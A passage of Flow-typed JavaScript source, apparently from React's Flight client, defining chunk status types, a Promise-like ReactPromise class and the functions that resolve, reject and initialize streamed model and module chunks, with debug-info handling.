_debugChunk: null, // DEV-only\n  _debugInfo: ReactDebugInfo, // DEV-only\n  then(resolve: (T) => mixed, reject?: (mixed) => mixed): void,\n};\ntype ResolvedModelChunk<T> = {\n  status: 'resolved_model',\n  value: UninitializedModel,\n  reason: Response,\n  _children: Array<SomeChunk<any>> | ProfilingResult, // Profiling-only\n  _debugChunk: null | SomeChunk<ReactDebugInfoEntry>, // DEV-only\n  _debugInfo: ReactDebugInfo, // DEV-only\n  then(resolve: (T) => mixed, reject?: (mixed) => mixed): void,\n};\ntype ResolvedModuleChunk<T> = {\n  status: 'resolved_module',\n  value: ClientReference<T>,\n  reason: null,\n  _children: Array<SomeChunk<any>> | ProfilingResult, // Profiling-only\n  _debugChunk: null, // DEV-only\n  _debugInfo: ReactDebugInfo, // DEV-only\n  then(resolve: (T) => mixed, reject?: (mixed) => mixed): void,\n};\ntype InitializedChunk<T> = {\n  status: 'fulfilled',\n  value: T,\n  reason: null | FlightStreamController,\n  _children: Array<SomeChunk<any>> | ProfilingResult, // Profiling-only\n  _debugChunk: null, // DEV-only\n  _debugInfo: ReactDebugInfo, // DEV-only\n  then(resolve: (T) => mixed, reject?: (mixed) => mixed): void,\n};\ntype InitializedStreamChunk<\n  T: ReadableStream | $AsyncIterable<any, any, void>,\n> = {\n  status: 'fulfilled',\n  value: T,\n  reason: FlightStreamController,\n  _children: Array<SomeChunk<any>> | ProfilingResult, // Profiling-only\n  _debugChunk: null, // DEV-only\n  _debugInfo: ReactDebugInfo, // DEV-only\n  then(resolve: (ReadableStream) => mixed, reject?: (mixed) => mixed): void,\n};\ntype ErroredChunk<T> = {\n  status: 'rejected',\n  value: null,\n  reason: mixed,\n  _children: Array<SomeChunk<any>> | ProfilingResult, // Profiling-only\n  _debugChunk: null, // DEV-only\n  _debugInfo: ReactDebugInfo, // DEV-only\n  then(resolve: (T) => mixed, reject?: (mixed) => mixed): void,\n};\ntype HaltedChunk<T> = {\n  status: 'halted',\n  value: null,\n  reason: null,\n  _children: Array<SomeChunk<any>> | ProfilingResult, // Profiling-only\n  _debugChunk: null, // DEV-only\n  _debugInfo: ReactDebugInfo, // DEV-only\n  then(resolve: (T) => mixed, reject?: (mixed) => mixed): void,\n};\ntype SomeChunk<T> =\n  | PendingChunk<T>\n  | BlockedChunk<T>\n  | ResolvedModelChunk<T>\n  | ResolvedModuleChunk<T>\n  | InitializedChunk<T>\n  | ErroredChunk<T>\n  | HaltedChunk<T>;\n\n// $FlowFixMe[missing-this-annot]\nfunction ReactPromise(status: any, value: any, reason: any) {\n  this.status = status;\n  this.value = value;\n  this.reason = reason;\n  if (enableProfilerTimer && enableComponentPerformanceTrack) {\n    this._children = [];\n  }\n  if (__DEV__) {\n    this._debugChunk = null;\n    this._debugInfo = [];\n  }\n}\n// We subclass Promise.prototype so that we get other methods like .catch\nReactPromise.prototype = (Object.create(Promise.prototype): any);\n// TODO: This doesn't return a new Promise chain unlike the real .then\nReactPromise.prototype.then = function <T>(\n  this: SomeChunk<T>,\n  resolve: (value: T) => mixed,\n  reject?: (reason: mixed) => mixed,\n) {\n  const chunk: SomeChunk<T> = this;\n  // If we have resolved content, we try to initialize it first which\n  // might put us back into one of the other states.\n  switch (chunk.status) {\n    case RESOLVED_MODEL:\n      initializeModelChunk(chunk);\n      break;\n    case RESOLVED_MODULE:\n      initializeModuleChunk(chunk);\n      break;\n  }\n  if (__DEV__ && enableAsyncDebugInfo) {\n    // Because only native Promises get picked up when we're awaiting we need to wrap\n    // this in a native Promise in DEV. This means that these callbacks are no longer sync\n    // but the lazy initialization is still sync and the .value can be inspected after,\n    // allowing it to be read synchronously anyway.\n    const resolveCallback = resolve;\n    const rejectCallback = reject;\n    const wrapperPromise: Promise<T> = new Promise((res, rej) => {\n      resolve = value => {\n        // $FlowFixMe\n        wrapperPromise._debugInfo = this._debugInfo;\n        res(value);\n      };\n      reject = reason => {\n        // $FlowFixMe\n        wrapperPromise._debugInfo = this._debugInfo;\n        rej(reason);\n      };\n    });\n    wrapperPromise.then(resolveCallback, rejectCallback);\n  }\n  // The status might have changed after initialization.\n  switch (chunk.status) {\n    case INITIALIZED:\n      if (typeof resolve === 'function') {\n        resolve(chunk.value);\n      }\n      break;\n    case PENDING:\n    case BLOCKED:\n      if (typeof resolve === 'function') {\n        if (chunk.value === null) {\n          chunk.value = ([]: Array<InitializationReference | (T => mixed)>);\n        }\n        chunk.value.push(resolve);\n      }\n      if (typeof reject === 'function') {\n        if (chunk.reason === null) {\n          chunk.reason = ([]: Array<\n            InitializationReference | (mixed => mixed),\n          >);\n        }\n        chunk.reason.push(reject);\n      }\n      break;\n    case HALTED: {\n      break;\n    }\n    default:\n      if (typeof reject === 'function') {\n        reject(chunk.reason);\n      }\n      break;\n  }\n};\n\nexport type FindSourceMapURLCallback = (\n  fileName: string,\n  environmentName: string,\n) => null | string;\n\nexport type DebugChannelCallback = (message: string) => void;\n\nexport type DebugChannel = {\n  hasReadable: boolean,\n  callback: DebugChannelCallback | null,\n};\n\ntype Response = {\n  _bundlerConfig: ServerConsumerModuleMap,\n  _serverReferenceConfig: null | ServerManifest,\n  _moduleLoading: ModuleLoading,\n  _callServer: CallServerCallback,\n  _encodeFormAction: void | EncodeFormActionCallback,\n  _nonce: ?string,\n  _chunks: Map<number, SomeChunk<any>>,\n  _stringDecoder: StringDecoder,\n  _closed: boolean,\n  _closedReason: mixed,\n  _allowPartialStream: boolean,\n  _tempRefs: void | TemporaryReferenceSet, // the set temporary references can be resolved from\n  _timeOrigin: number, // Profiling-only\n  _pendingInitialRender: null | TimeoutID, // Profiling-only,\n  _pendingChunks: number, // DEV-only\n  _weakResponse: WeakResponse, // DEV-only\n  _debugRootOwner?: null | ReactComponentInfo, // DEV-only\n  _debugRootStack?: null | Error, // DEV-only\n  _debugRootTask?: null | ConsoleTask, // DEV-only\n  _debugStartTime: number, // DEV-only\n  _debugEndTime?: number, // DEV-only\n  _debugIOStarted: boolean, // DEV-only\n  _debugFindSourceMapURL?: void | FindSourceMapURLCallback, // DEV-only\n  _debugChannel?: void | DebugChannel, // DEV-only\n  _blockedConsole?: null | SomeChunk<ConsoleEntry>, // DEV-only\n  _replayConsole: boolean, // DEV-only\n  _rootEnvironmentName: string, // DEV-only, the requested environment name.\n};\n\n// This indirection exists only to clean up DebugChannel when all Lazy References are GC:ed.\n// Therefore we only use the indirection in DEV.\ntype WeakResponse = {\n  weak: WeakRef<Response>,\n  response: null | Response, // This is null when there are no pending chunks.\n};\n\nexport type {WeakResponse as Response};\n\nfunction hasGCedResponse(weakResponse: WeakResponse): boolean {\n  return __DEV__ && weakResponse.weak.deref() === undefined;\n}\n\nfunction unwrapWeakResponse(weakResponse: WeakResponse): Response {\n  if (__DEV__) {\n    const response = weakResponse.weak.deref();\n    if (response === undefined) {\n      // eslint-disable-next-line react-internal/prod-error-codes\n      throw new Error(\n        'We did not expect to receive new data after GC:ing the response.',\n      );\n    }\n    return response;\n  } else {\n    return (weakResponse: any); // In prod we just use the real Response directly.\n  }\n}\n\nfunction getWeakResponse(response: Response): WeakResponse {\n  if (__DEV__) {\n    return response._weakResponse;\n  } else {\n    return (response: any); // In prod we just use the real Response directly.\n  }\n}\n\nfunction closeDebugChannel(debugChannel: DebugChannel): void {\n  if (debugChannel.callback) {\n    debugChannel.callback('');\n  }\n}\n\n// If FinalizationRegistry doesn't exist, we cannot use the debugChannel.\nconst debugChannelRegistry =\n  __DEV__ && typeof FinalizationRegistry === 'function'\n    ? new FinalizationRegistry(closeDebugChannel)\n    : null;\n\nfunction readChunk<T>(chunk: SomeChunk<T>): T {\n  // If we have resolved content, we try to initialize it first which\n  // might put us back into one of the other states.\n  switch (chunk.status) {\n    case RESOLVED_MODEL:\n      initializeModelChunk(chunk);\n      break;\n    case RESOLVED_MODULE:\n      initializeModuleChunk(chunk);\n      break;\n  }\n  // The status might have changed after initialization.\n  switch (chunk.status) {\n    case INITIALIZED:\n      return chunk.value;\n    case PENDING:\n    case BLOCKED:\n    case HALTED:\n      // eslint-disable-next-line no-throw-literal\n      throw ((chunk: any): Thenable<T>);\n    default:\n      throw chunk.reason;\n  }\n}\n\nexport function getRoot<T>(weakResponse: WeakResponse): Thenable<T> {\n  const response = unwrapWeakResponse(weakResponse);\n  const chunk = getChunk(response, 0);\n  return (chunk: any);\n}\n\nfunction createPendingChunk<T>(response: Response): PendingChunk<T> {\n  if (__DEV__) {\n    // Retain a strong reference to the Response while we wait for the result.\n    if (response._pendingChunks++ === 0) {\n      response._weakResponse.response = response;\n      if (response._pendingInitialRender !== null) {\n        clearTimeout(response._pendingInitialRender);\n        response._pendingInitialRender = null;\n      }\n    }\n  }\n  // $FlowFixMe[invalid-constructor] Flow doesn't support functions as constructors\n  return new ReactPromise(PENDING, null, null);\n}\n\nfunction releasePendingChunk(response: Response, chunk: SomeChunk<any>): void {\n  if (__DEV__ && chunk.status === PENDING) {\n    if (--response._pendingChunks === 0) {\n      // We're no longer waiting for any more chunks. We can release the strong reference\n      // to the response. We'll regain it if we ask for any more data later on.\n      response._weakResponse.response = null;\n      // Wait a short period to see if any more chunks get asked for. E.g. by a React render.\n      // These chunks might discover more pending chunks.\n      // If we don't ask for more then we assume that those chunks weren't blocking initial\n      // render and are excluded from the performance track.\n      response._pendingInitialRender = setTimeout(\n        flushInitialRenderPerformance.bind(null, response),\n        100,\n      );\n    }\n  }\n}\n\nfunction createBlockedChunk<T>(response: Response): BlockedChunk<T> {\n  // $FlowFixMe[invalid-constructor] Flow doesn't support functions as constructors\n  return new ReactPromise(BLOCKED, null, null);\n}\n\nfunction createErrorChunk<T>(\n  response: Response,\n  error: mixed,\n): ErroredChunk<T> {\n  // $FlowFixMe[invalid-constructor] Flow doesn't support functions as constructors\n  return new ReactPromise(ERRORED, null, error);\n}\n\nfunction filterDebugInfo(\n  response: Response,\n  value: {_debugInfo: ReactDebugInfo, ...},\n) {\n  if (response._debugEndTime === null) {\n    // No end time was defined, so we keep all debug info entries.\n    return;\n  }\n\n  // Remove any debug info entries after the defined end time. For async info\n  // that means we're including anything that was awaited before the end time,\n  // but it doesn't need to be resolved before the end time.\n  const relativeEndTime =\n    response._debugEndTime -\n    // $FlowFixMe[prop-missing]\n    performance.timeOrigin;\n  const debugInfo = [];\n  for (let i = 0; i < value._debugInfo.length; i++) {\n    const info = value._debugInfo[i];\n    if (typeof info.time === 'number' && info.time > relativeEndTime) {\n      break;\n    }\n    debugInfo.push(info);\n  }\n  value._debugInfo = debugInfo;\n}\n\nfunction moveDebugInfoFromChunkToInnerValue<T>(\n  chunk: InitializedChunk<T> | InitializedStreamChunk<any>,\n  value: T,\n): void {\n  // Remove the debug info from the initialized chunk, and add it to the inner\n  // value instead. This can be a React element, an array, or an uninitialized\n  // Lazy.\n  const resolvedValue = resolveLazy(value);\n  if (\n    typeof resolvedValue === 'object' &&\n    resolvedValue !== null &&\n    (isArray(resolvedValue) ||\n      typeof resolvedValue[ASYNC_ITERATOR] === 'function' ||\n      resolvedValue.$$typeof === REACT_ELEMENT_TYPE ||\n      resolvedValue.$$typeof === REACT_LAZY_TYPE)\n  ) {\n    const debugInfo = chunk._debugInfo.splice(0);\n    if (isArray(resolvedValue._debugInfo)) {\n      // $FlowFixMe[method-unbinding]\n      resolvedValue._debugInfo.unshift.apply(\n        resolvedValue._debugInfo,\n        debugInfo,\n      );\n    } else if (!Object.isFrozen(resolvedValue)) {\n      Object.defineProperty((resolvedValue: any), '_debugInfo', {\n        configurable: false,\n        enumerable: false,\n        writable: true,\n        value: debugInfo,\n      });\n    }\n    // TODO: If the resolved value is a frozen element (e.g. a client-created\n    // element from a temporary reference, or a JSX element exported as a client\n    // reference), server debug info is currently dropped because the element\n    // can't be mutated. We should probably clone the element so each rendering\n    // context gets its own mutable copy with the correct debug info.\n  }\n}\n\nfunction processChunkDebugInfo<T>(\n  response: Response,\n  chunk: InitializedChunk<T> | InitializedStreamChunk<any>,\n  value: T,\n): void {\n  filterDebugInfo(response, chunk);\n  moveDebugInfoFromChunkToInnerValue(chunk, value);\n}\n\nfunction wakeChunk<T>(\n  response: Response,\n  listeners: Array<InitializationReference | (T => mixed)>,\n  value: T,\n  chunk: InitializedChunk<T>,\n): void {\n  for (let i = 0; i < listeners.length; i++) {\n    const listener = listeners[i];\n    if (typeof listener === 'function') {\n      listener(value);\n    } else {\n      fulfillReference(response, listener, value, chunk);\n    }\n  }\n\n  if (__DEV__) {\n    processChunkDebugInfo(response, chunk, value);\n  }\n}\n\nfunction rejectChunk(\n  response: Response,\n  listeners: Array<InitializationReference | (mixed => mixed)>,\n  error: mixed,\n): void {\n  for (let i = 0; i < listeners.length; i++) {\n    const listener = listeners[i];\n    if (typeof listener === 'function') {\n      listener(error);\n    } else {\n      rejectReference(response, listener.handler, error);\n    }\n  }\n}\n\nfunction resolveBlockedCycle<T>(\n  resolvedChunk: SomeChunk<T>,\n  reference: InitializationReference,\n): null | InitializationHandler {\n  const referencedChunk = reference.handler.chunk;\n  if (referencedChunk === null) {\n    return null;\n  }\n  if (referencedChunk === resolvedChunk) {\n    // We found the cycle. We can resolve the blocked cycle now.\n    return reference.handler;\n  }\n  const resolveListeners = referencedChunk.value;\n  if (resolveListeners !== null) {\n    for (let i = 0; i < resolveListeners.length; i++) {\n      const listener = resolveListeners[i];\n      if (typeof listener !== 'function') {\n        const foundHandler = resolveBlockedCycle(resolvedChunk, listener);\n        if (foundHandler !== null) {\n          return foundHandler;\n        }\n      }\n    }\n  }\n  return null;\n}\n\nfunction wakeChunkIfInitialized<T>(\n  response: Response,\n  chunk: SomeChunk<T>,\n  resolveListeners: Array<InitializationReference | (T => mixed)>,\n  rejectListeners: null | Array<InitializationReference | (mixed => mixed)>,\n): void {\n  switch (chunk.status) {\n    case INITIALIZED:\n      wakeChunk(response, resolveListeners, chunk.value, chunk);\n      break;\n    case BLOCKED:\n      // It is possible that we're blocked on our own chunk if it's a cycle.\n      // Before adding back the listeners to the chunk, let's check if it would\n      // result in a cycle.\n      for (let i = 0; i < resolveListeners.length; i++) {\n        const listener = resolveListeners[i];\n        if (typeof listener !== 'function') {\n          const reference: InitializationReference = listener;\n          const cyclicHandler = resolveBlockedCycle(chunk, reference);\n          if (cyclicHandler !== null) {\n            // This reference points back to this chunk. We can resolve the cycle by\n            // using the value from that handler.\n            fulfillReference(response, reference, cyclicHandler.value, chunk);\n            resolveListeners.splice(i, 1);\n            i--;\n            if (rejectListeners !== null) {\n              const rejectionIdx = rejectListeners.indexOf(reference);\n              if (rejectionIdx !== -1) {\n                rejectListeners.splice(rejectionIdx, 1);\n              }\n            }\n            // The status might have changed after fulfilling the reference.\n            switch ((chunk: SomeChunk<T>).status) {\n              case INITIALIZED:\n                const initializedChunk: InitializedChunk<T> = (chunk: any);\n                wakeChunk(\n                  response,\n                  resolveListeners,\n                  initializedChunk.value,\n                  initializedChunk,\n                );\n                return;\n              case ERRORED:\n                if (rejectListeners !== null) {\n                  rejectChunk(response, rejectListeners, chunk.reason);\n                }\n                return;\n            }\n          }\n        }\n      }\n    // Fallthrough\n    case PENDING:\n      if (chunk.value) {\n        for (let i = 0; i < resolveListeners.length; i++) {\n          chunk.value.push(resolveListeners[i]);\n        }\n      } else {\n        chunk.value = resolveListeners;\n      }\n\n      if (chunk.reason) {\n        if (rejectListeners) {\n          for (let i = 0; i < rejectListeners.length; i++) {\n            chunk.reason.push(rejectListeners[i]);\n          }\n        }\n      } else {\n        chunk.reason = rejectListeners;\n      }\n\n      break;\n    case ERRORED:\n      if (rejectListeners) {\n        rejectChunk(response, rejectListeners, chunk.reason);\n      }\n      break;\n  }\n}\n\nfunction triggerErrorOnChunk<T>(\n  response: Response,\n  chunk: SomeChunk<T>,\n  error: mixed,\n): void {\n  if (chunk.status !== PENDING && chunk.status !== BLOCKED) {\n    // If we get more data to an already resolved ID, we assume that it's\n    // a stream chunk since any other row shouldn't have more than one entry.\n    const streamChunk: InitializedStreamChunk<any> = (chunk: any);\n    const controller = streamChunk.reason;\n    // $FlowFixMe[incompatible-call]: The error method should accept mixed.\n    controller.error(error);\n    return;\n  }\n  releasePendingChunk(response, chunk);\n  const listeners = chunk.reason;\n\n  if (__DEV__ && chunk.status === PENDING) {\n    // Lazily initialize any debug info and block the initializing chunk on any unresolved entries.\n    if (chunk._debugChunk != null) {\n      const prevHandler = initializingHandler;\n      const prevChunk = initializingChunk;\n      initializingHandler = null;\n      const cyclicChunk: BlockedChunk<T> = (chunk: any);\n      cyclicChunk.status = BLOCKED;\n      cyclicChunk.value = null;\n      cyclicChunk.reason = null;\n      if ((enableProfilerTimer && enableComponentPerformanceTrack) || __DEV__) {\n        initializingChunk = cyclicChunk;\n      }\n      try {\n        initializeDebugChunk(response, chunk);\n        if (initializingHandler !== null) {\n          if (initializingHandler.errored) {\n            // Ignore error parsing debug info, we'll report the original error instead.\n          } else if (initializingHandler.deps > 0) {\n            // TODO: Block the resolution of the error until all the debug info has loaded.\n            // We currently don't have a way to throw an error after all dependencies have\n            // loaded because we currently treat errors as immediately cancelling the handler.\n          }\n        }\n      } finally {\n        initializingHandler = prevHandler;\n        initializingChunk = prevChunk;\n      }\n    }\n  }\n\n  const erroredChunk: ErroredChunk<T> = (chunk: any);\n  erroredChunk.status = ERRORED;\n  erroredChunk.reason = error;\n  if (listeners !== null) {\n    rejectChunk(response, listeners, error);\n  }\n}\n\nfunction createResolvedModelChunk<T>(\n  response: Response,\n  value: UninitializedModel,\n): ResolvedModelChunk<T> {\n  // $FlowFixMe[invalid-constructor] Flow doesn't support functions as constructors\n  return new ReactPromise(RESOLVED_MODEL, value, response);\n}\n\nfunction createResolvedModuleChunk<T>(\n  response: Response,\n  value: ClientReference<T>,\n): ResolvedModuleChunk<T> {\n  // $FlowFixMe[invalid-constructor] Flow doesn't support functions as constructors\n  return new ReactPromise(RESOLVED_MODULE, value, null);\n}\n\nfunction createInitializedTextChunk(\n  response: Response,\n  value: string,\n): InitializedChunk<string> {\n  // $FlowFixMe[invalid-constructor] Flow doesn't support functions as constructors\n  return new ReactPromise(INITIALIZED, value, null);\n}\n\nfunction createInitializedBufferChunk(\n  response: Response,\n  value: $ArrayBufferView | ArrayBuffer,\n): InitializedChunk<Uint8Array> {\n  // $FlowFixMe[invalid-constructor] Flow doesn't support functions as constructors\n  return new ReactPromise(INITIALIZED, value, null);\n}\n\nfunction createInitializedIteratorResultChunk<T>(\n  response: Response,\n  value: T,\n  done: boolean,\n): InitializedChunk<IteratorResult<T, T>> {\n  // $FlowFixMe[invalid-constructor] Flow doesn't support functions as constructors\n  return new ReactPromise(INITIALIZED, {done: done, value: value}, null);\n}\n\nfunction createInitializedStreamChunk<\n  T: ReadableStream | $AsyncIterable<any, any, void>,\n>(\n  response: Response,\n  value: T,\n  controller: FlightStreamController,\n): InitializedChunk<T> {\n  if (__DEV__) {\n    // Retain a strong reference to the Response while we wait for chunks.\n    if (response._pendingChunks++ === 0) {\n      response._weakResponse.response = response;\n    }\n  }\n  // We use the reason field to stash the controller since we already have that\n  // field. It's a bit of a hack but efficient.\n  // $FlowFixMe[invalid-constructor] Flow doesn't support functions as constructors\n  return new ReactPromise(INITIALIZED, value, controller);\n}\n\nfunction createResolvedIteratorResultChunk<T>(\n  response: Response,\n  value: UninitializedModel,\n  done: boolean,\n): ResolvedModelChunk<IteratorResult<T, T>> {\n  // To reuse code as much code as possible we add the wrapper element as part of the JSON.\n  const iteratorResultJSON =\n    (done ? '{\"done\":true,\"value\":' : '{\"done\":false,\"value\":') + value + '}';\n  // $FlowFixMe[invalid-constructor] Flow doesn't support functions as constructors\n  return new ReactPromise(RESOLVED_MODEL, iteratorResultJSON, response);\n}\n\nfunction resolveIteratorResultChunk<T>(\n  response: Response,\n  chunk: SomeChunk<IteratorResult<T, T>>,\n  value: UninitializedModel,\n  done: boolean,\n): void {\n  // To reuse code as much code as possible we add the wrapper element as part of the JSON.\n  const iteratorResultJSON =\n    (done ? '{\"done\":true,\"value\":' : '{\"done\":false,\"value\":') + value + '}';\n  resolveModelChunk(response, chunk, iteratorResultJSON);\n}\n\nfunction resolveModelChunk<T>(\n  response: Response,\n  chunk: SomeChunk<T>,\n  value: UninitializedModel,\n): void {\n  if (chunk.status !== PENDING) {\n    // If we get more data to an already resolved ID, we assume that it's\n    // a stream chunk since any other row shouldn't have more than one entry.\n    const streamChunk: InitializedStreamChunk<any> = (chunk: any);\n    const controller = streamChunk.reason;\n    controller.enqueueModel(value);\n    return;\n  }\n  releasePendingChunk(response, chunk);\n  const resolveListeners = chunk.value;\n  const rejectListeners = chunk.reason;\n  const resolvedChunk: ResolvedModelChunk<T> = (chunk: any);\n  resolvedChunk.status = RESOLVED_MODEL;\n  resolvedChunk.value = value;\n  resolvedChunk.reason = response;\n  if (resolveListeners !== null) {\n    // This is unfortunate that we're reading this eagerly if\n    // we already have listeners attached since they might no\n    // longer be rendered or might not be the highest pri.\n    initializeModelChunk(resolvedChunk);\n    // The status might have changed after initialization.\n    wakeChunkIfInitialized(response, chunk, resolveListeners, rejectListeners);\n  }\n}\n\nfunction resolveModuleChunk<T>(\n  response: Response,\n  chunk: SomeChunk<T>,\n  value: ClientReference<T>,\n): void {\n  if (chunk.status !== PENDING && chunk.status !== BLOCKED) {\n    // We already resolved. We didn't expect to see this.\n    return;\n  }\n  releasePendingChunk(response, chunk);\n  const resolveListeners = chunk.value;\n  const rejectListeners = chunk.reason;\n  const resolvedChunk: ResolvedModuleChunk<T> = (chunk: any);\n  resolvedChunk.status = RESOLVED_MODULE;\n  resolvedChunk.value = value;\n  resolvedChunk.reason = null;\n  if (__DEV__) {\n    const debugInfo = getModuleDebugInfo(value);\n    if (debugInfo !== null) {\n      // Add to the live set if it was already initialized.\n      // $FlowFixMe[method-unbinding]\n      resolvedChunk._debugInfo.push.apply(resolvedChunk._debugInfo, debugInfo);\n    }\n  }\n  if (resolveListeners !== null) {\n    initializeModuleChunk(resolvedChunk);\n    wakeChunkIfInitialized(response, chunk, resolveListeners, rejectListeners);\n  }\n}\n\ntype InitializationReference = {\n  handler: InitializationHandler,\n  parentObject: Object,\n  key: string,\n  map: (\n    response: Response,\n    model: any,\n    parentObject: Object,\n    key: string,\n  ) => any,\n  path: Array<string>,\n  isDebug?: boolean, // DEV-only\n};\ntype InitializationHandler = {\n  parent: null | InitializationHandler,\n  chunk: null | BlockedChunk<any>,\n  value: any,\n  reason: any,\n  deps: number,\n  errored: boolean,\n};\nlet initializingHandler: null | InitializationHandler = null;\nlet initializingChunk: null | BlockedChunk<any> = null;\nlet isInitializingDebugInfo: boolean = false;\n\nfunction initializeDebugChunk(\n  response: Response,\n  chunk: ResolvedModelChunk<any> | PendingChunk<any>,\n): void {\n  const debugChunk = chunk._debugChunk;\n  if (debugChunk !== null) {\n    const debugInfo = chunk._debugInfo;\n    const prevIsInitializingDebugInfo = isInitializingDebugInfo;\n    isInitializingDebugInfo = true;\n    try {\n      if (debugChunk.status === RESOLVED_MODEL) {\n        // Find the index of this debug info by walking the linked list.\n        let idx = debugInfo.length;\n        let c = debugChunk._debugChunk;\n        while (c !== null) {\n          if (c.status !== INITIALIZED) {\n            idx++;\n          }\n          c = c._debugChunk;\n        }\n        // Initializing the model for the first time.\n        initializeModelChunk(debugChunk);\n        const initializedChunk = ((debugChunk: any): SomeChunk<any>);\n        switch (initializedChunk.status) {\n          case INITIALIZED: {\n            debugInfo[idx] = initializeDebugInfo(\n              response,\n              initializedChunk.value,\n            );\n            break;\n          }\n          case BLOCKED:\n          case PENDING: {\n            waitForReference(\n              initializedChunk,\n              debugInfo,\n              '' + idx,\n              response,\n              initializeDebugInfo,\n              [''], // path\n              true,\n            );\n            break;\n          }\n          default:\n            throw initializedChunk.reason;\n        }\n      } else {\n        switch (debugChunk.status) {\n          case INITIALIZED: {\n            // Already done.\n            break;\n          }\n          case BLOCKED:\n          case PENDING: {\n            // Signal to the caller that we need to wait.\n            waitForReference(\n              debugChunk,\n              {}, // noop, since we'll have already added an entry to debug info\n              'debug', // noop, but we need it to not be empty string since that indicates the root object\n              response,\n              initializeDebugInfo,\n              [''], // path\n              true,\n            );\n            break;\n          }\n          default:\n            throw debugChunk.reason;\n        }\n      }\n    } catch (error) {\n      triggerErrorOnChunk(response, chunk, error);\n    } finally {\n      isInitializingDebugInfo = prevIsInitializingDebugInfo;\n    }\n  }\n}\n\nfunction initializeModelChunk<T>(chunk: ResolvedModelChunk<T>): void {\n  const prevHandler = initializingHandler;\n  const prevChunk = initializingChunk;\n  initializingHandler = null;\n\n  const resolvedModel = chunk.value;\n  const response = chunk.reason;\n\n  // We go to the BLOCKED state until we've fully resolved this.\n  // We do this before parsing in case we try to initialize the same chunk\n  // while parsing the model. Such as in a cyclic reference.\n  const cyclicChunk: BlockedChunk<T> = (chunk: any);\n  cyclicChunk.status = BLOCKED;\n  cyclicChunk.value = null;\n  cyclicChunk.reason = null;\n\n  if ((enableProfilerTimer && enableComponentPerformanceTrack) || __DEV__) {\n    initializingChunk = cyclicChunk;\n  }\n\n  if (__DEV__) {\n    // Initialize any debug info and block the initializing chunk on any\n    // unresolved entries.\n    initializeDebugChunk(response, chunk);\n    // TODO: The chunk might have transitioned to ERRORED now.\n    // Should we return early if that happens?\n  }\n\n  try {\n    const value: T = parseModel(response, resolvedModel);\n    // Invoke any listeners added while resolving this model. I.e. cyclic\n    // references. This may or may not fully resolve the model depending on\n    // if they were blocked.\n    const resolveListeners = cyclicChunk.value;\n    if (resolveListeners !== null) {\n      cyclicChunk.value = null;\n      cyclicChunk.reason = null;\n      for (let i = 0; i < resolveListeners.length; i++) {\n        const listener = resolveListeners[i];\n        if (typeof listener === 'function') {\n          listener(value);\n        } else {\n          fulfillReference(response, listener, value, cyclicChunk);\n        }\n      }\n    }\n    if (initializingHandler !== null) {\n      if (initializingHandler.errored) {\n        throw initializingHandler.reason;\n      }\n      if (initializingHandler.deps > 0) {\n        // We discovered new dependencies on modules that are not yet resolved.\n        // We have to keep the BLOCKED state until they're resolved.\n        initializingHandler.value = value;\n        initializingHandler.chunk = cyclicChunk;\n        return;\n      }\n    }\n    const initializedChunk: InitializedChunk<T> = (chunk: any);\n    initializedChunk.status = INITIALIZED;\n    initializedChunk.value = value;\n    initializedChunk.reason = null;\n\n    if (__DEV__) {\n      processChunkDebugInfo(response, initializedChunk, value);\n    }\n  } catch (error) {\n    const erroredChunk: ErroredChunk<T> = (chunk: any);\n    erroredChunk.status = ERRORED;\n    erroredChunk.reason = error;\n  } finally {\n    initializingHandler = prevHandler;\n    if ((enableProfilerTimer && enableComponentPerformanceTrack) || __DEV__) {\n      initializingChunk = prevChunk;\n    }\n  }\n}\n\nfunction initializeModuleChunk<T>(chunk: ResolvedModuleChunk<T>): void {\n  try {\n    const value: T = requireModule(chunk.value);\n    const initializedChunk: InitializedChunk<T> = (chunk: any);\n    initializedChunk.status = INITIALIZED;\n    initializedChunk.value = value;\n    initializedChunk.reason = null;\n  } catch (error) {\n    const erroredChunk: ErroredChunk<T> = (chunk: any);\n    erroredChunk.status = ERRORED;\n    erroredChunk.reason = error;\n  }\n}\n\n// Report that any missing chunks in the model is now going to throw this\n// error upon read. Also notify any pending promises.\nexport function reportGlobalError(\n  weakResponse: WeakResponse,\n  error: Error,\n): void {\n  if (hasGCedResponse(weakResponse)) {\n    // Ignore close signal if we are not awaiting any more pending chunks.\n    return;\n  }\n  const response = unwrapWeakResponse(weakResponse);\n  response._closed = true;\n  response._closedReason = error;\n  response._chunks.forEach(chunk => {\n    // If this chunk was already resolved or errored, it won't\n    // trigger an error but if it wasn't then we need to\n    // because we won't be getting any new data to resolve it.\n    if (chunk.status === PENDING) {\n      triggerErrorOnChunk(response, chunk, error);\n    } else if (chunk.status === INITIALIZED && chunk.reason !== null) {\n      chunk.reason.error(error);\n    }\n  });\n  if (__DEV__) {\n    const debugChannel = response._debugChannel;\n    if (debugChannel !== undefined) {\n      // If we don't have any more ways of reading data, we don't have to send\n      // any more neither. So we close the writable side.\n      closeDebugChannel(debugChannel);\n      response._debugChannel = undefined;\n      // Make sure the debug channel is not closed a second time when the\n      // Response gets GC:ed.\n      if (debugChannelRegistry !== null) {\n        debugChannelRegistry.unregister(response);\n      }\n    }\n  }\n}\n\nfunction nullRefGetter() {\n  if (__DEV__) {\n    return null;\n  }\n}\n\nfunction getIOInfoTaskName(ioInfo: ReactIOInfo): string {\n  return ioInfo.name || 'unknown';\n}\n\nfunction getAsyncInfoTaskName(asyncInfo: ReactAsyncInfo): string {\n  return 'await ' + getIOInfoTaskName(asyncInfo.awaited);\n}\n\nfunction getServerComponentTaskName(componentInfo: ReactComponentInfo): string {\n  return '<' + (componentInfo.name || '...') + '>';\n}\n\nfunction getTaskName(type: mixed): string {\n  if (type === REACT_FRAGMENT_TYPE) {\n    return '<>';\n  }\n  if (typeof type === 'function') {\n    // This is a function so it must have been a Client Reference that resolved to\n    // a function. We use \"use client\" to indicate that this is the boundary into\n    // the client. There should only be one for any given owner chain.\n    return '\"use client\"';\n  }\n  if (\n    typeof type === 'object' &&\n    type !== null &&\n    type.$$typeof === REACT_LAZY_TYPE\n  ) {\n    if (type._init === readChunk) {\n      // This is a lazy node created by Flight. It is probably a client reference.\n      // We use the \"use client\" string to indicate that this is the boundary into\n      // the client. There will only be one for any given owner chain.\n      return '\"use client\"';\n    }\n    // We don't want to eagerly initialize the initializer in DEV mode so we can't\n    // call it to extract the type so we don't know the type of this component.\n    return '<...>';\n  }\n  try {\n    const name = getComponentNameFromType(type);\n    return name ? '<' + name + '>' : '<...>';\n  } catch (x) {\n    return '<...>';\n  }\n}\n\nfunction initializeElement(\n  response: Response,\n  element: any,\n  lazyNode: null | LazyComponent<\n    React$Element<any>,\n    